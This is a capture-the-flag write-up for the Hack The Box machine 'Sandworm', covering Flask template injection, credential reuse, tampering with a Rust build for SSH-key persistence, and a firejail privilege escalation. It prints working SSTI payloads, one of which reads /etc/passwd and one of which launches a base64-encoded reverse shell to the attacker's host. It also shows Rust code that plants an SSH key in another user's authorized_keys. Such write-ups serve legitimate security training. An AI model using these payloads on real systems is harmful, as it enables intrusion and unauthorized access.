Hack The Box: Sandworm Writeup

hackthebox, linux, web, medium, ssti, weak-permissions, sandbox, suid, rust, cve

Sandworm is a Linux machine on Hack The Box. It served the web page of a fictitious secret agency. One of the web pages included web-based tooling to work with PGP messages. The PGP web page had a template injection vulnerability which allowed for remotely executing code as the web service's user. One of the configuration files in the user's home directory leaked the password to another user. Weak directory permissions permitted executing arbitrary code as the first user through code manipulation before compilation. The first user's session was sandboxed by a binary that was found to be vulnerable to CVE-2022–31214. It was possible to escape the sandbox and escalate privileges to root.

Walkthrough

Initially, the host was added to the hosts file on the attacking system. Following that, an nmap scan of the system identified SSH on port 22, HTTP on port 80, and HTTPS on port 443:

$ echo '10.10.11.218 sandworm.htb | sudo tee -a /etc/hosts' 
$ sudo nmap -sC -sV sandworm.htb -Pn -p-
<SNIP>
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
<SNIP>
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
<SNIP>

As revealed by the nmap scan, the web server redirects to http://ssa.htb, which was then added to the hosts file.
The website, powered by nginx, played the role of a platform for a fictional secret service agency. Their contact page provided a hyperlink to a guide (http://ssa.htb/guide) that had capabilities for encrypting and decrypting PGP messages, as well as verifying PGP signatures:

The PGP guide has tools to work with PGP messages

To assess the functionality to verify signatures required a PGP key pair, so I generated one:

$ gpg --generate-key
<SNIP>

Real name: Real Name
Email address: email@localhost
You selected this USER-ID:
    "Real Name <email@localhost>"
<SNIP>

For the real name and email address I entered arbitrary values that I would recognize later. Then, I used the key to sign a message:

$ echo "signed message" | gpg --armor --sign

-----BEGIN PGP MESSAGE-----

owEB3AEj/pANAwAKAdGSNvSF075OAcsVYgBlXbLWc2lnbmVkIG1lc3NhZ2UKiQGz
BAABCgAdFiEE4FD3aYY6o52E6TgH0ZI29IXTvk4FAmVdstYACgkQ0ZI29IXTvk5/
<SNIP>
-----END PGP MESSAGE-----

While the public key was exported with:

$ gpg --armor --export email@localhost
-----BEGIN PGP PUBLIC KEY BLOCK-----
                                       
mQGNBGVdsnkBDAC8mJVQm+qyovWKn4x1mL2UGXLWQ0YCnYZ31f64CCHqCqWGC5+p              
itGL9rpt5Y6VOCClGNnQo7mFwZ5NIEdsISILTN8XSMRxy+UVJYRfxRSE1m9lQAGy              
QIs1aVSKTRaHY2+tzKIrNDXMp3F0DKF7MiGqeVt/+57GD7VwgEi+8TyX0pLJAiDx              
<SNIP>
-----END PGP PUBLIC KEY BLOCK-----  

Both values were required to test the signature verification tool. As the next screenshot shows, the tool verified the signature and printed the command output in a modal window. The information included the key holder name set during the key generation step:

Verifying signatures reflects the key holder's name

As the real name value was reflected, I proceeded to probe it further. Suspecting a template injection vulnerability, I tested it with the payload {{7*7}} as the web page stated that it was “powered by Flask” on another site.

Hence, I generated a new key pair with the value of {{7*7}} for the real name. When verifying a signature with this pair’s public key, the web server indeed reported the interpreted result of the injection (49):

Successful template injection

In the Flask framework, specific classes and methods are typically available and can be used for remote code execution. As a proof of concept, I used the following payload to confirm the server-side template injection (SSTI) one more time and read a system file:


{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

The payload was successful and displayed the contents of the passwd file in the verification dialog. It revealed two non-default users:

silentobserver:x:1001:1001::/home/silentobserver:/bin/bash 
atlas:x:1000:1000::/home/atlas:/bin/bash 

I then used a similar payload that imports Python’s os library and initiates a process to establish a reverse shell to the attacking machine. For this purpose, I encoded the payload with base64 and piped it to bash after decoding:


{{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS85MDAxIDA+JjEiCg==" | base64 -d | bash').read()}}

This worked flawlessly, granting me a shell as the user atlas on the system. However, the shell appeared to be sandboxed, as many commands were not available and the file system was in a read-only state:

Restrained shell as the atlas user

Instead of trying sandbox escapes right then, I discovered a configuration file in /home/atlas/.config/httpie/sessions/localhost_5000/admin.json. The file contained the credentials of another user (silentobserver) on the system:

Configuration file contained credentials of another user

The credentials were then used to log in over SSH as silentobserver. The file system enumeration revealed non-default directories in /opt. The directories /opt/crates and /opt/tipnet seemed to be Rust packages as they contained Cargo files. Finally, the source file lib.rs of the logger package was writable by silentobserver:

Writable directories in /opt

The dependency definition in /opt/tipnet/Cargo.toml referenced the logger package, so tipnet included its code.

Source code without execution does not help in escalating privileges, so I monitored the processes using pspy[1], hoping for compilation and execution of the Rust binary. As the next screenshot shows, the code of tipnet was compiled and the sticky bit was set on the resulting binary. This meant that future executions of the binary would always run in the user context of the owner, atlas.

pspy discovers compilation and setuid commands

That meant it was possible to inject code as silentobserver into the binary that can be run as atlas due to the setuid bit.

I changed the function log in lib.rs to include code that wrote my SSH public key to the authorized keys file of atlas before the actual logging functionality:

extern crate chrono;

use std::fs::{File, OpenOptions};
use std::io::{BufWriter, Write};
use chrono::prelude::*;

fn append_line_to_file(path: &str, line: &str) -> Result<(), std::io::Error> {
    let parent_dir = std::path::Path::new(path).parent().unwrap();
    if !parent_dir.exists() {
        std::fs::create_dir_all(parent_dir)?;
    }

    let file = OpenOptions::new().create(true).append(true).open(path)?;
    let mut writer = BufWriter::new(file);
    writer.write_all(line.as_bytes())?;
    writer.flush()?;

    Ok(())
}

pub fn log(user: &str, query: &str, justification: &str) {
    let line = "ssh-rsa AAAAB3NzaC1yc2EAAAA<SNIP>";
    let path = "/home/atlas/.ssh/authorized_keys";
    
    match append_line_to_file(path, line) {
        Ok(()) => println!("Line appended successfully."),
        Err(err) => println!("Error appending line: {:?}", err),
    }
    <SNIP>

Then, I transferred the manipulated lib.rs over SSH and moved it to /opt/crates/logger/src/lib.rs. After a brief interval, the background job compiled the target again, including the manipulated logging library. Given the setuid bit on the generated binary, the next step was to run the binary and trigger any log line generation.
A quick look into the source at /opt/tipnet/src/main.rs revealed that running the program with a “keyword” but without “justification” would lead to calling the logging function. As illustrated in the screenshot, the binary was executed, and the final line of the output affirmed the successful appending of the SSH key:

The tipnet binary executes the manipulated code

It was then possible to log in over SSH as atlas. This time, the shell did not seem sandboxed. I found the sandbox configuration in /home/atlas/.config/firejail/webapp.profile:

atlas@sandworm:~$ cat .config/firejail/webapp.profile
noblacklist /var/run/mysqld/mysqld.sock

hostname sandworm
seccomp

noroot
allusers

caps.drop dac_override,fowner,setuid,setgid
seccomp.drop chmod,fchmod,setuid

private-tmp
private-opt none
private-dev
private-bin /usr/bin/python3,/usr/local/bin/gpg,/bin/bash,/usr/bin/flask,/usr/local/sbin/gpg,/usr/bin/groups,/usr/bin/base64,/usr/bin/lesspipe,/usr/bin/basename,/usr/bin/filename,/usr/bin/bash,/bin/sh,/usr/bin/ls,/usr/bin/cat,/usr/bin/id,/usr/local/libexec/scdaemon,/usr/local/bin/gpg-agent
<SNIP>

So the box was using firejail to restrict the shell. Some research revealed, that the firejail version on the box (0.9.68) is vulnerable to CVE-2022-31214[2]. This vulnerability allows to escalate privileges to local root by exploiting the “join” feature of the sandbox. The post on seclists also contains proof of concept code.

The CVE-2022-31214 PoC worked out of the box to escalate privileges on Sandworm:

Using CVE-2022-31214 to escalate privileges to root

That concludes this box. The journey took a bit of back-and-forth due to the restricted shell. However, in the end, it all came together. Thank you for reading and have a fun time with CTFs.

References: